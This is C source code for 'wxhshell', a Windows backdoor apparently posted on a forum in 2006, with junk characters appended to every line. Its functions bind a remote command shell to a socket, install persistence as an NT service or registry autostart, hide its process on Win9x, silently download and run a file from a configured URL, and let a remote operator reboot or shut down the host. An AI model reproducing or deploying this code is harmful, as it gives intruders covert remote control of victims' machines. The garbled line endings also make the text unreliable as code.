  case '?': { K]<49`MX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3BSJ|o<"=  
    break; |z5`h  
  } _a?(JzLw5  
  // 安装 ipIexv1/S  
  case 'i': { Bq20U:f  
    if(Install()) V>Zw" #Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); | M|5Nc>W  
    else LH" CIL2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E|Q|Nx!6[  
    break; =/|2f; Q  
    } 3=)!9;uY  
  // 卸载 1&wI*4  
  case 'r': { `!JcQ'u  
    if(Uninstall()) o-m9}pV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LzS)WjEN  
    else 2,3pmb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %]iDhXLr  
    break; LRuB&4r8  
    } JF+E.-fy$  
  // 显示 wxhshell 所在路径 wB~5&:]jr  
  case 'p': { (9_O ||e e  
    char svExeFile[MAX_PATH]; H/v|H}d;  
    strcpy(svExeFile,"\n\r"); "E6*.EtTN#  
      strcat(svExeFile,ExeFile); {zri6P+s  
        send(wsh,svExeFile,strlen(svExeFile),0); Ul/Uk n$  
    break; nKO4o8js{{  
    } saj%[Gsy  
  // 重启 &azy1.i~  
  case 'b': { wS)2ymRg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RAh4#8]  
    if(Boot(REBOOT)) L2L=~/LG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dpTeF`N  
    else {  s_p\ bl.  
    closesocket(wsh); .wb[cCUQ  
    ExitThread(0); 4fq:W`9sN  
    } hA6D*8oXD  
    break; 9 :ubPqt  
    } ;Sqn w  
  // 关机 ^qro0]"LD  
  case 'd': { REj<2Lo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }+F&=-P)  
    if(Boot(SHUTDOWN)) ZITic&>W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [\rnJ lE  
    else { 8q5 `A Gl  
    closesocket(wsh); W{v{sQg  
    ExitThread(0); NhgzU+)+  
    } @uJ^k >B  
    break; ]nM 2J}7  
    } `/4 R$E{  
  // 获取shell 3R=R k  
  case 's': { I8s%wY9  
    CmdShell(wsh); z^etH/]Sy  
    closesocket(wsh); Bc!ZHW *&  
    ExitThread(0); dP7nR1GS  
    break; *\M$pUS{  
  } FB\lUO)U\c  
  // 退出 dHUcu@,  
  case 'x': { L#}HeOEi[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1\{_bUZ&  
    CloseIt(wsh); K*]^0  
    break; 0YApaL+jt  
    } RY4b <i3  
  // 离开 9!kH:Az[p  
  case 'q': { 3%NbT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); itpljh  
    closesocket(wsh); ]5_6m;g  
    WSACleanup(); kR1dk4I4  
    exit(1); Wi5rXZS  
    break; .R<Ke\y/  
        } bY>JLRQJ-  
  } 5YW.s   
  } )dMXn2O  
:9=J=G*  
  // 提示信息 [/Figr]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iax6o+OG|  
} >,#7 3u#  
  } ]\8{z"  
YcQ3 :i  
  return; CQ( _$  
} 2!y%nkO*  
-y+u0,=p.  
// shell模块句柄 \kQ@G  
int CmdShell(SOCKET sock) [:MpOl-KIz  
{ JBCJVWUt  
STARTUPINFO si; +1] xmnts  
ZeroMemory(&si,sizeof(si)); YdT-E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qOi3`6LCV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '~Z#h  P  
PROCESS_INFORMATION ProcessInfo; /P8`)?f~y  
char cmdline[]="cmd"; `Qc_]CWYH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j+E[ [  
  return 0; _]Ei,Ua  
} 2|8&=K /  
5ZPe=SQ{  
// 自身启动模式 2Y2J)5,  
int StartFromService(void) 'B$ bGQ  
{ ^&|$&7  
typedef struct :2\H>^u V  
{ m&h5u,  
  DWORD ExitStatus; n* 7mP   
  DWORD PebBaseAddress; 7T)J{:+0!|  
  DWORD AffinityMask; N;.cZp2  
  DWORD BasePriority; j1LL[+G-"_  
  ULONG UniqueProcessId; R\oas"  
  ULONG InheritedFromUniqueProcessId; F%v?,`_&I  
}   PROCESS_BASIC_INFORMATION; nKoc%TNqe  
?D^l&`S  
PROCNTQSIP NtQueryInformationProcess; o#IQz_  
6}vPwI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SAa hkX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zg3q\ ~  
<^Hh5kfS'  
  HANDLE             hProcess; x4HVB  
  PROCESS_BASIC_INFORMATION pbi; I'_.U]An  
|c]Y1WwDx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ON$^_l/c  
  if(NULL == hInst ) return 0; lIN`1vX(  
Z~.3)6,z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U =()T}b>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #hBDOXHPf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IX /r  
sf|[oD  
  if (!NtQueryInformationProcess) return 0; Y^?J3[@  
*(~=L%s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FuYV}C  
  if(!hProcess) return 0; olC@nQ1c*  
]0HlPP:2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xl(];&A3  
ypuW}H%`  
  CloseHandle(hProcess); ~D4%7U"dv  
Y dgaZJs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _Z:WgO].  
if(hProcess==NULL) return 0; v :YW[THre  
&}1PH% 6  
HMODULE hMod; m|O7@N  
char procName[255]; zl: 5_u=T  
unsigned long cbNeeded; 'w+T vOB  
!9l c6W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B6gSt3w.  
-Kj^ l3w  
  CloseHandle(hProcess); Og`6>?>97  
> dJvl|  
if(strstr(procName,"services")) return 1; // 以服务启动 zkdyfl5  
,H3~mq]  
  return 0; // 注册表启动 zY<=r.m4  
} VP$`.y  
!\a'GO[  
// 主模块 i;1aobG  
int StartWxhshell(LPSTR lpCmdLine) +8FlDiP  
{ i#t)tM"  
  SOCKET wsl; hsVf/%  
BOOL val=TRUE; JDi|]JY  
  int port=0; blcd]7nK  
  struct sockaddr_in door; j*m7&wOE  
y>vr Uxgo  
  if(wscfg.ws_autoins) Install(); C@` eYi  
r00 fvZyK  
port=atoi(lpCmdLine); 3,8>\yf`  
ZM/*cA!"  
if(port<=0) port=wscfg.ws_port; }fW@8ji\  
<im BFw  
  WSADATA data; #Sj:U1x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9-Bp=M  
dnVl;L8L3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O_#Ag K<A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XV+s 5 C  
  door.sin_family = AF_INET; }vkrWy^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +53 Tf  
  door.sin_port = htons(port); k=j--`$8k  
ve2GRTO^aC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r5XG$:$8\  
closesocket(wsl); vgSs]g  
return 1; \}Jy=[  
} D!kv+<+  
1;<J] S$$  
  if(listen(wsl,2) == INVALID_SOCKET) { 'v.i' 6  
closesocket(wsl); $v?+X20  
return 1; $\l7aA5~  
} [vkz<sL"  
  Wxhshell(wsl); HDU tLU d  
  WSACleanup(); > $0eRVL  
6R V]9  
return 0; JnCp'`  
jW5n^Y)  
} [L 0`B9TD~  
6'UtB!gr  
// 以NT服务方式启动 zXQ o pQ1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,.tv#j|A  
{ DTrS9j?z  
DWORD   status = 0; CZ*c["x2  
  DWORD   specificError = 0xfffffff; JX,&im*BG  
F|q-ZlpW-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W8j)2nKD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AK\X{>$a!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W!pLk/|ls  
  serviceStatus.dwWin32ExitCode     = 0; pIdJ+gu(s  
  serviceStatus.dwServiceSpecificExitCode = 0; w}VS mt$F  
  serviceStatus.dwCheckPoint       = 0; 0lR/6CB  
  serviceStatus.dwWaitHint       = 0; ^D8 YF  
K*Y.mM)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }I;A\K]  
  if (hServiceStatusHandle==0) return; _sIhQ8$:  
)NJD+yQ%  
status = GetLastError(); WJBi#(SY  
  if (status!=NO_ERROR) ZzPlIl}\  
{ dxbP'2~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~TC z1UWV  
    serviceStatus.dwCheckPoint       = 0; 2%"2~d7  
    serviceStatus.dwWaitHint       = 0; sJ)XoK syW  
    serviceStatus.dwWin32ExitCode     = status; E+Z//)1Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]5W0zNb*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =vLeOX  
    return; .|XIF   
  } bFk >IifN  
#?.Yc%5B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "M5P-l$p}  
  serviceStatus.dwCheckPoint       = 0; kFmd):U!R  
  serviceStatus.dwWaitHint       = 0; :RR<-N5+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Iih~W&  
} <wUDcF  
W(ITs}O  
// 处理NT服务事件,比如:启动、停止 _2+}_ >d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uTGd{w@]0|  
{ x'_I{$C &  
switch(fdwControl) xWlj.Tjt}  
{ =jIB5".  
case SERVICE_CONTROL_STOP: e eb`Ao  
  serviceStatus.dwWin32ExitCode = 0; $}&Y$w>S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <4S Y'-w  
  serviceStatus.dwCheckPoint   = 0; j+AAhn  
  serviceStatus.dwWaitHint     = 0; R{GOlxKs C  
  { \xG>>A%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ogQY"c8  
  } 5BnO-[3  
  return; Sc'z vlq  
case SERVICE_CONTROL_PAUSE: 5Z/xY &  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; = #]^H c  
  break; Cm g(# $ X  
case SERVICE_CONTROL_CONTINUE: .g71?^?(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8P5yaS_  
  break; x`K<z J   
case SERVICE_CONTROL_INTERROGATE: $Kgw6  
  break; Yy`\??,  
}; zu}oeAQc$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]w z`j1  
} /.r|ron:e  
p>Dv&fX  
// 标准应用程序主函数 v3!oY t:l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :N$^x /{  
{ qYFOHu  
=.`(KXT  
// 获取操作系统版本 GlkTpX^b  
OsIsNt=GetOsVer(); :VpRpj4f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;sd[Q01  
(os}s8cIh  
  // 从命令行安装 /f_w@TR\{  
  if(strpbrk(lpCmdLine,"iI")) Install(); S}6Ty2.\  
&nkYJi(!  
  // 下载执行文件 $SAq/VHI1]  
if(wscfg.ws_downexe) { KvENH=oh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A;ip V :)  
  WinExec(wscfg.ws_filenam,SW_HIDE); .l?sYe64S  
} +(n&>7 5  
Sy|fX_i  
if(!OsIsNt) { ~L\KMB/9e=  
// 如果时win9x,隐藏进程并且设置为注册表启动 j"6r]nc&  
HideProc(); "TW%-67  
StartWxhshell(lpCmdLine); d-/{@   
} 02B *cz_K  
else pQv`fr=  
  if(StartFromService()) MLwh&I9)  
  // 以服务方式启动 Fy:CG6@X  
  StartServiceCtrlDispatcher(DispatchTable); dqF]kP,VG  
else "Bl ]_YPv  
  // 普通方式启动 &V/n!|q<H  
  StartWxhshell(lpCmdLine); ,z<J`n  
@qj4rt"  
return 0; cV]c/*z A  
}
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只看该作者 1 发表于: 2006-10-10
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